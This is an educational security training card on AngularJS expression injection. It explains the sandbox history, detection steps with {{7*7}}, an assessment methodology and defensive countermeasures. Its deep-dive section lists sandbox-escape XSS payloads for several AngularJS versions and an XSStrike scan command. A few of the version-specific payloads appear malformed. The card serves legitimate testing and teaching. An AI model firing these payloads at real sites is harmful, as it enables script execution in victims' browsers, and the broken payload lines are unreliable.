AngularJS expression injection
Theory
Why This Matters
AngularJS expression injection was one of the most actively researched XSS bypass techniques from 2014 to 2018, coinciding with AngularJS's peak adoption period. Because ng-app directives cause AngularJS to evaluate {{ }} expressions in the DOM, any HTML injection point on an AngularJS-powered page became a template injection vector. The AngularJS sandbox was progressively hardened across versions 1.0 through 1.6, with each version introducing a new sandbox and each version having its own bypass published by researchers including Gareth Heyes and Mario Heiderich. This history is a canonical case study in why client-side sandboxing is architecturally fragile. Legacy AngularJS applications remain in production across enterprise and government environments, and the CSP bypass via AngularJS loaded from cdnjs.cloudflare.com remains relevant wherever that CDN is allowlisted.
Core Concept
AngularJS (versions 1.x) evaluates template expressions enclosed in {{ }} within any DOM element that falls within the scope of an ng-app directive. This evaluation happens entirely in the browser's JavaScript engine via AngularJS's expression parser. Unlike server-side SSTI, there is no server component — the injection and execution are purely client-side.
The violated invariant is that user-controlled data placed in the DOM within an ng-app scope is evaluated as a template expression if it contains {{ }} delimiters. An application that applies server-side HTML encoding correctly (so <script> becomes <script>) may still be vulnerable to AngularJS expression injection because { and } are not HTML-special characters and pass through encoding unmodified.
The AngularJS sandbox (present in versions 1.0–1.5) was intended to restrict expression evaluation to prevent access to window, document, __proto__, and the Function constructor. It was implemented in the expression parser by blocking certain identifiers and by walking the prototype chain to detect security violations.
Sandbox escape exploits the fact that the sandbox cannot enumerate all paths to dangerous functionality in JavaScript's object model. The most widely known bypass for versions 1.5 and below:
constructor.constructor('alert(1)')()
This works by: accessing {}.constructor (which is Object), then .constructor again (which is Function), then calling Function('alert(1)')() — which creates and immediately invokes a new function. The sandbox did not recognise this as prohibited because it only checked specific property names, not all paths through the prototype chain to Function.
AngularJS version 1.6 removed the sandbox entirely, acknowledging it was not a viable security boundary. Applications using AngularJS >= 1.6 are fully vulnerable to expression injection without any sandbox bypass needed. Detecting the AngularJS version from the page source (angular.version.full in the browser console, or the script tag filename) determines which payload applies.
The critical contrast with server-side SSTI: AngularJS expression injection runs in the browser under the victim's security context; server-side SSTI runs on the server under the server process's context. Server-side SSTI enables server compromise; AngularJS injection enables XSS-level browser-context code execution.
Technical Deep-Dive
// Step 1: Detect AngularJS presence — check page source for ng-app
// <html ng-app="myApp"> or <div ng-app>
// Step 2: Confirm version from browser console
angular.version.full
// → '1.5.8' → sandbox present, use escape payload
// → '1.6.10' → no sandbox, direct expression execution
// Step 3: Arithmetic confirmation — inject into reflected parameter
// If {{7*7}} renders as '49' in the page, expression injection is confirmed
// AngularJS 1.5.x and below — sandbox escape via constructor chain
{{constructor.constructor('alert(document.domain)')()}}
// Alternative for versions where direct constructor is blocked:
{{$eval.constructor('alert(document.domain)')()}}
// Version-specific bypasses (examples from published research):
// AngularJS 1.2.x:
{{a=toString().constructor.prototype;a.charAt=[].join;$eval('x=alert(1),')}}
// AngularJS 1.3.1:
{{'a'.constructor.prototype.charAt=[].join;$(eval)('x=alert(1),')}}
// AngularJS 1.4.x:
{{'.constructor.prototype.charAt=[].join;['a'].join($eval.call(0,'alert(1)'))}}
// AngularJS 1.6+ (no sandbox — direct expression execution):
{{constructor.constructor('alert(document.domain)')()}}
// Works directly; no escape required
<!-- Detecting AngularJS version in page source: -->
<!-- Version in script src filename: -->
<script src="/libs/angular-1.5.8.min.js"></script>
<!-- ng-app scope location — injection must be INSIDE this element: -->
<div ng-app>
<!-- user-controlled reflection here is exploitable -->
<span>{{userInput}}</span>
</div>
# Testing AngularJS expression injection with XSStrike:
python3 xsstrike.py -u 'https://target.example.com/search?q=FUZZ' --angular
# Manual Burp workflow:
# 1. Inject {{7*7}} into every reflected parameter via Burp Repeater
# 2. Look for '49' in response body (not the literal string {{7*7}})
# 3. Confirm ng-app scope wraps the injection point in response HTML
# 4. Select version-appropriate bypass and confirm alert(document.domain) fires
Security Assessment Methodology
- Detect AngularJS presence — Examine page source for
ng-app,ng-controller, andng-modelattributes. Check for AngularJS script tags and note the version from the filename or script content. - Inject arithmetic expression — Submit
{{7*7}}in every reflected parameter. A rendered49in the response confirms expression injection; the literal string{{7*7}}indicates the parameter is not in anng-appscope or expressions are disabled. - Determine exact version — Extract the AngularJS version from the script src path or from
angular.version.fullin the browser console. - Test sandbox bypass payload — For versions 1.0–1.5, apply the
constructor.constructor('alert(document.domain)')()chain. If blocked, consult the PortSwigger XSS cheat sheet for version-specific bypass payloads. - For AngularJS >= 1.6 — The sandbox is absent; direct expression execution applies. Use
{{constructor.constructor('alert(document.domain)')()}}directly. - Confirm injection point is within ng-app scope — Verify the injection is within an element under an
ng-apporng-controllerscope. Injections outside the scope are not evaluated by AngularJS. - Document version, bypass payload, and execution context — Report the AngularJS version, the specific bypass payload used, and confirmation that
alert(document.domain)fires in a real browser.
Defensive Countermeasure — Do not place user-controlled data directly in the DOM within an AngularJS
ng-appscope without sanitisation. Preferng-bind(applies text encoding, equivalent totextContent) overng-bind-html(renders HTML). Avoid AngularJS$sce.trustAsHtml()for user-controlled content, as it bypasses all sanitisation. For new development, migrate from AngularJS 1.x to Angular 2+ (a completely rewritten framework that compiles templates at build time and does not evaluate{{ }}as executable code from the runtime DOM). Apply a Content Security Policy that prohibitsunsafe-evalto blockFunctionconstructor execution as a defence-in-depth measure.
Common Assessment Errors
- Testing
{{7*7}}in non-ng-app contexts — A reflection outside theng-appscope renders the literal string, not49. Always confirm theng-appelement encloses the injection point. - Using only one sandbox bypass payload — Different AngularJS minor versions require different bypass chains. Using only the 1.5 chain on a 1.3 application (or vice versa) may fail; consult a version-indexed reference.
- Confusing AngularJS (1.x) with Angular (2+) — Angular 2+ pre-compiles templates; it does not evaluate
{{ }}as executable code from the DOM at runtime. Expression injection techniques are AngularJS 1.x only. - Missing the CSP interaction — AngularJS expression injection ultimately calls the
Functionconstructor. A CSP withunsafe-evalblocked may prevent execution. Test payload execution with and without CSP active. - Not noting the version — Reporting "AngularJS expression injection" without specifying the version fails to communicate exploitability. Version 1.6+ has no sandbox; older versions require specific bypass payloads.
- Failing to check whether delimiter expressions are disabled — Some AngularJS applications use
$interpolateProviderto change or disable the default{{ }}delimiters. If{{7*7}}renders literally, check for alternative delimiter configuration before concluding the application is not vulnerable.
NICE Framework Alignment
| Code | Knowledge/Skill/Task Statement | How This Card Develops It |
|---|---|---|
| K0009 | Knowledge of application vulnerabilities | Develops understanding of client-side template injection as a JavaScript-level XSS variant distinct from server-side SSTI |
| K0070 | Knowledge of system and application security threats and vulnerabilities | Covers AngularJS sandbox history, version-specific bypasses, and ng-app scope requirements |
| S0001 | Skill in conducting vulnerability scans and recognizing vulnerabilities in security systems | Trains expression injection detection and version-specific bypass payload selection |
| S0044 | Skill in mimicking threat behaviors | Builds adversarial skill in JavaScript constructor chain traversal for sandbox escape |
| T0028 | Task: Identify systemic security issues based on vulnerability and configuration data | Covers ng-bind vs ng-bind-html usage review, CSP unsafe-eval configuration, and AngularJS version inventory assessment |
Further Reading
- XSS Without HTML: Client-Side Template Injection with AngularJS — Gareth Heyes, PortSwigger Research
- AngularJS Sandbox Escapes — PortSwigger XSS cheat sheet (portswigger.net/web-security/cross-site-scripting/cheat-sheet)
- AngularJS Security Documentation — Angular team (legacy.angular.io/guide/security)
- The Web Application Hacker's Handbook, 2nd ed. — Stuttard & Pinto, Wiley
Challenge Lab
Reinforce your learning with a hands-on generated challenge based on this card's competency.